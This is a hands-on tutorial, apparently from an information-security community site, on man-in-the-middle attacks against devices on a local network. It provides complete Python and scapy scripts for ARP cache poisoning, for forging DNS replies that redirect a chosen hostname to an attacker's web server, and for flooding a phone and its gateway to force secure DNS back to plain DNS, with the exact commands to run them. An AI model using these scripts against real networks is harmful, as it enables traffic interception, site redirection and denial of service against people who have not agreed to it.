Man in the Middle Attach with ARP + DNS Spoofing

In this article, we’re going to cover three key things: 1) sniffing and redirecting local network traffic for a target ip via arp spoofing, 2) dns sniffing + spoofing, 3) local network scanning; all examples will be in python. We will utilize a combination of python, scapy (a module for packet crafting for python), and wireshark; All examples will use your default network adapter, and were done on windows 7 as most tutorials target Kali.

The goal is to establish how to intercept packets from our target IP address on a LAN without interrupting connectivity, and then with interrupting connectivity. The passive, less disruptive method simply sends a flood of arp packets to the target machine, with you masquerading as the default gateway by spoofing the source IP address. This will result in (some) packets coming to your machine that are not intended for it, including sometimes DNS requests. If you both flood the target IP with spoofed arp packets saying hey target, im default gateway and then do the same to the default gateway saying you are the target ip you will also receive a deluge of packets – this method will disrupt internet connectivity and possibly result in the target device disconnecting from the network. You will need to refresh/reset your arp tables each time you do this; a separate script will be used to do so. Pinging an IP is also a way to help refresh/update your local arp tables. To do this, we will need to configure wireshark to see the packets; a few different filters shall be demonstrated.

              

Wireshark configuration

Wireshark will first be initiated; there are two types of filters to use to make traffic from your adapter more manageable: capture filters, and display filters. Capture filters are parameters filled out before launch a capture on a network card device to control what type of packets are captured and cannot be changed on the fly; display filters act to control what is displayed from the current capture and can be changed in real time. For the first example of basic packet interception, we shall use the default capture filter and set our display filter to ip.src==192.168.0.4 (or whatever your test target system is on your local network).

This display filters will only show packets with a source ip address of the one assigned. The two different capture filters will be enclosed in red, and labeled in bold red letters in the screenshot above. Right click the desired interface and hit start capture. Once started, in the display filter enter in the filter example above with the target ip.

As you can see, all network traffic will disappear once this is done. If your target ip is running device discovery services, you may see a few things pop up. For instance, I will see my xbox sending out notification to deviceso n the network occasionally if I put it’s ip address in – this is normal.

ARP spoofing to get packets

               Now, we shall craft some spoofed arp packets in python using scapy and npcap. We will arp flood the target ip and spoof the source ip of the packets to that of or default gateway. We will supply the destination ip, destination mac, and source ip; scapy will be allowed to fill out all other parameters. For this, we will create a file called arpreply.py

from scapy.all import *

import sys

def get_mac(ip):

    arp_request = ARP(pdst = ip)

    broadcast = Ether(dst ="ff:ff:ff:ff:ff:ff")

    arp_request_broadcast = broadcast / arp_request    

    answered_list = srp(arp_request_broadcast, timeout = 5, verbose = False)[0]

    if (len(answered_list) > 0):

        return answered_list[0][1].hwsrc

    else:

        return -1      

 

def arpspoof(target_ip,mac_target,spoof_ip):

    print("target mac: ",mac_target,"\ntarget ip: ",target_ip,"\nspoof ip: ",spoof_ip,"\n")

    packet = ARP(op = 2,pdst = target_ip,hwdst = mac_target,psrc = spoof_ip)

    send(packet)

 

if (len(sys.argv) > 2):

    mac_target = get_mac(sys.argv[1])

    if (mac_target != -1):

        print('launching ARP attack against ', sys.argv[1]," ",sys.argv[2],"\n")

        while(1):

            arpspoof(sys.argv[1],mac_target,sys.argv[2])

    else:

        print("Could not resolve mac address for ",sys.argv[1],"\n")

else:

    print('syntax: arpflood.py <target ip address> <spoof ip address>\n')

Utilizing this above code, we can begin to somewhat passively redirect some traffic; the more flood threads, the more traffic and the more disruptive the attack. Now, type arpreply.py 192.168.0.4 192.168.0.1 to trick the target ip into thinking you are the default gateway; a successful launch should look something like this in command prompt:

Wireshark should then immediately start receiving traffic from 192.168.0.4:

If it does not, simply browse the internet on the target device and wireshark should begin to see a deluge of packets; Upon smashing ctrl+c repeated in command prompt to force our flooder to exit (I didn’t take the time to code in an escape key), the flood of incoming packets should halt once the arp tables restore themselves. This could take some time, so to force this we’re going to create a second (small) script called arprestore.py that should correct the arp tables and put an end to the deluge of incoming packets pretty quickly:

 

#https://www.tutorialspoint.com/python/index.htm

#https://scapy.readthedocs.io/en/latest/installation.html

from scapy.all import *

import sys

 

def get_mac(ip):

    arp_request = ARP(pdst = ip)

    broadcast = Ether(dst ="ff:ff:ff:ff:ff:ff")

    arp_request_broadcast = broadcast / arp_request

    answered_list = srp(arp_request_broadcast, timeout = 5, verbose = False)[0]

 

    if (len(answered_list) > 0):

        return answered_list[0][1].hwsrc

    else:

        return -1      

 

def arprestore(destination_ip, source_ip):

    destination_mac = get_mac(destination_ip)

    source_mac = get_mac(source_ip)

    packet = ARP(op = 2, pdst = destination_ip, hwdst = destination_mac, psrc = source_ip, hwsrc = source_mac)

    send(packet)

 

 

if (len(sys.argv) > 2):

    mac = get_mac(sys.argv[1])

    if (mac != -1):

        print('restoring arp tables ', sys.argv[1]," ",sys.argv[2],"\n")

        arprestore(sys.argv[1],sys.argv[2])

 

    else:

        print("Could not resolve mac address for ",sys.argv[1],"\n")

else:

    print('syntax: arprestore.py <target ip address> <spoofed ip address>\n')

 

Now, run this in command prompt as arprestore.py 192.168.0.4 192.168.0.1, replacing 192.168.0.4 with your target system. The flood of packets in wireshark should cease within moments. Now, let us close wireshark and restart our capture with the capture filter of udp port 53 – the DNS port – and see if we cannot intercept some DNS requests. For simplicities sake, I have disabled secure DNS and safe browsing on the target system; I recommend doing the same only for the duration of this tutorial. I have gotten secure DNS to default back to unsecure means, but I am unsure how; that will be a later article. Our capture filter will be set to ‘udp port 53’ and our display filter is still ‘ip.src==192.168.0.4’ or whatever our local target IP address is. Now, run arpreply.py 192.168.0.4 192.168.0.1 again. Upon trying to load a webpage, or access anything online on the target device, you should see a bunch of DNS requests coming through in wireshark:

As you can see, we are receiving DNS requests from our target IP. You can now kill the arp flooder, and use arprestore.py again. The flood of DNS requests should cease. Please note, secure DNS was disabled in my web browser when doing this; we can now make a separate script to sniff for DNS packets, and send a spoofed response to attempt to redirect traffic. This is known as DNS spoofing/masquerading. It does seem, however. If you start spamming 192.168.0.1 saying you’re 192.168.0.4 then stop this and continue the original flood, it seems to bypass secure dns and show the host names the device is attempting to resolve. We will focus more on this later. For now, let us proceed on ward to intercepting and replying to our DNS queries we’ve learned how to direct our way. Now we will be creating dnssniff.py, which will sniff out our dns packet’s using scapy’s sniff() function and a filter option for udp port 53 and src ip to our target ip.

 

from scapy.all import *

from pprint import pprint

import _thread

import sys

 

ip_target = sys.argv[1]

spoof_hostname = sys.argv[2] # in our example well be targeting pornhub!

ip_redir = sys.argv[3] # the ip we're redirecting to

f = "udp and ip src " + ip_target

                             

def dns_responder():

    def spoof_reply(pkt: IP, loop):

        print("crafting DNS reply")

        dnsq = pkt[DNS]

        ethq = Ether(src=pkt[Ether].dst,dst=pkt[Ether].src)

        ipq  = IP(src=pkt[IP].dst,dst=pkt[IP].src)

        udpq = UDP(dport=pkt[UDP].sport,sport=pkt[UDP].dport)

 

        dnsrr = DNSRR(rrname=dnsq.qd.qname,type='A',ttl=600,rdata=ip_redir)

        dns = DNS(id=dnsq.id,qd=dnsq.qd,aa=1,rd=0,qr=1,ancount=1,nscount=0,arcount=0,ar=dnsrr)

       

        dns_response = ethq / ipq / udpq / dns

        while (loop):

            sendp(dns_response)

      

    def get_response(pkt: IP):

            if (DNS in pkt):

                print("DNS of some sort; OPCODE=",pkt[DNS].opcode)

                if (pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0):

                    d = pkt[DNS]

                    dnsqr = pkt["DNS Question Record"]

                    print(pkt["DNS Question Record"].qname)

                    print(d[DNSQR].qname)

                    pprint(pkt)

                    if (spoof_hostname in str(dnsqr.qname)):

                        print("found our target, now craft dns reply")

                        _thread.start_new_thread(spoof_reply,(pkt, True, ))

    return (get_response)

 

pkts = sniff(filter=f,prn=dns_responder())

 

The parameters the above code will required are as follows: dnsspoof.py 192.168.0.4 red.com 192.168.0.7, where 192.168.0.4 is the target system to intercept a reply from, host.com is the host we’re waiting for a reply from (it is important to exclude the www. portion) and 192.168.0.7 is a local server running XAMPP w/ Apache. Now lets make sure XAMPP + Apache are running on ports 80 and 443, and launch a new instance of wireshark with a capture filter of udp port 53 and display filter set to ip.src==192.168.0.4 and watch what happens when we use arpreply.py to launch an arp attack against our target whilst dnssniff.py is running in the background.

The above image is what a successful launch of dnssniff.py should look like after arpreply.py 192.168.0.4 192.168.0.1 when the target loads a page: there should be a spam of dns/udp packet data. Once the target machine visits the target host, you should see this from dnssniff.py:

However, my site did not redirect. Lets try arp flooding the default gateway with arpreply.py 192.168.0.1 192.168.0.4. Use arprestore.py 192.168.0.4 192.168.0.1 and start everything over fresh. Once you see this sent 1 packets start to scroll again, kill arpreply.py 192.168.0.1 and you should see your phone’s pager redirect to your web server. Alternatively, running multiple instances of arpreply.py 192.168.0.4 192.168.0.1 to induce a delay can have a similar effect, without a need to kill the thread. If this does not work, try a brief flood with arpreply.py 192.168.0.1 192.168.0.4. If you see packets in wireshark, but not in our python script, try killing everything before doing an arp restore and starting over. A successful deployment should result in the target device experiencing a man in the middle attack. Phone security settings should look as follows for this demonstration to work:

 

Final result: a successfully hijacked connection/man in the middle attack.

Next, we will be looking into secure DNS. Make sure this is turned on in the chrome settings. To by pass this, well write another script. If we DoS (denial of service) attack the phone and the gateway hard enough to create a significant delay and disrupt communication with secure dns services, the device will default back to regular old dns. We will use a script titled pyarpspoof.py to commence our flood. I used two instances of this, and one of dnssniff.py. Once I noticed dnssniff.py was sending out spoofed packets, I killed one of the flood scripts and once again saw the phpinfo() page. Please make sure chromes security settings look as follows:

Pyarpspoof.py

from scapy.all import *

import time

import sys

 

def get_mac(ip):

    arp_request = ARP(pdst = ip) # create an arp request for given destination ip

    broadcast = Ether(dst ="ff:ff:ff:ff:ff:ff") # retrieves local ethernet adapter

    arp_request_broadcast = broadcast / arp_request # creates arp broadcast request

    answered_list = srp(arp_request_broadcast, timeout = 5, verbose = False)[0]

    if (len(answered_list) > 0): # check to make sure it was found so we dont error out if it isnt.

        return answered_list[0][1].hwsrc # our mac address

    else:

        return -1      

 

def arpspoof(target_ip,mac_target,gateway_ip,mac_gateway):

    print("target mac: ",mac_target,"\ntarget ip: ",target_ip,"\nspoof ip: ",gateway_ip,"\n");

    packet = ARP(op = 2,pdst = target_ip,hwdst = mac_target,psrc = gateway_ip)

    packet2 = ARP(op = 2,pdst = gateway_ip,hwdst = mac_gateway,psrc = target_ip)

    send(packet)

    send(packet2)

 

if (len(sys.argv) > 2):

    mac_target = get_mac(sys.argv[1])

    mac_gateway = get_mac(sys.argv[2])

    if (mac_target != -1):

        print('launching ARP attack against ', sys.argv[1]," ",sys.argv[2],"\n")

        while(1):

            arpspoof(sys.argv[1],mac_target,sys.argv[2],mac_gateway)

    else:

        print("Could not resolve mac address for ",sys.argv[1],"\n")

else:

    print('syntax: pyarpspoof <target ip address> <gateway ip address>\n')

Our attack command will be pyarpspoof.py 192.168.0.4 192.168.0.1, replacing the first IP address with the target IP address and the second with your local default gateway. Note, using too many threads or doing this for too long can and will result in the target dropping offline complete, which is no good. With a little experimentation, timing, and patience it is possible to hijack a connection, even if secure DNS is enabled. It is not a 100% success rate, but if you have the right number of flooders and start killing them when you see dnssniff.py sending out crafted responses, you can sometimes intercept the connection as shown:

Likewise, one could see the plain DNS requests in wireshark again; between the activity in wireshark and dnssniff.py, one should be able to tell when to kill the pyarpspoof.py script. It may take a few attempts, and a few resets of the arp tables, but it is definitely achievable; with some research and development, one could potentially stitch these scripts together with some timers and some lag checking, and possibly automate the whole process. This will be the topic of discussion for a future paper.

Additional Resources

https://www.tutorialspoint.com/python/index.htm           - general python information

https://scapy.readthedocs.io/en/latest/installation.html    - setting up scapy

https://www.python.org/downloads/release/python-380/ - python 3.8 setup

https://npcap.com/                                                             - npcap, required for scapy

tbfreely420#9849                                                              - my discord handle

Information Security

Welcome to our Information Security home page.

We are active on Discord where you can find most of our collaborative resources in the #information-security text channel.

If you have Facebook, please join our group!

Subcategories